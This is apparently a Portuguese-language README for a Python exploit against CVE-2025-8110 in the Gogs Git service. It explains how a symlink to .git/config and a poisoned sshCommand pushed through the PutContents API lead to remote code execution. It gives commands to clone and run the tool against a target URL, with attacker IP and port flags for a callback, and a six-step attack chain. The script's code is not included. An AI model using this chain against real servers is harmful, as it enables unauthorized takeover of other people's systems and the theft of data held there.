Script Python do GOGS RCE cve-2025-8110 que automatiza toda a cadeia de ataque de criar um repositório com um arquivo de link simbólico apontando para `.git/config` e depois desencadear RCE através de um `sshCommand` envenenado no arquivo de configuração.
Gogs é um serviço Git leve e auto-hospedado, semelhante a uma versão privada do GitHub, projetado para ser executado facilmente em servidores com poucos recursos. A vulnerabilidade CVE-2025-8110 é uma falha crítica de segurança que permite a um invasor contornar restrições de caminho usando links simbólicos. Ao fazer upload de um link malicioso apontando para .api/config, um invasor pode usar a API do Gogs para incorporar um arquivo de configuração malicioso com o parâmetro sshCommand e obter RCE no servidor host.
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# Print help
python3 ./cve-2025-8110.py --help
# Execute the attack chain with register step
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# Execute the attack chain skipping register | useful when register func returns err statement
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
Este script segue uma cadeia de ataque envolvendo estas etapas:
1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH
Este script foi feito usando o PoC de zAbuQasem (https://github.com/zAbuQasem)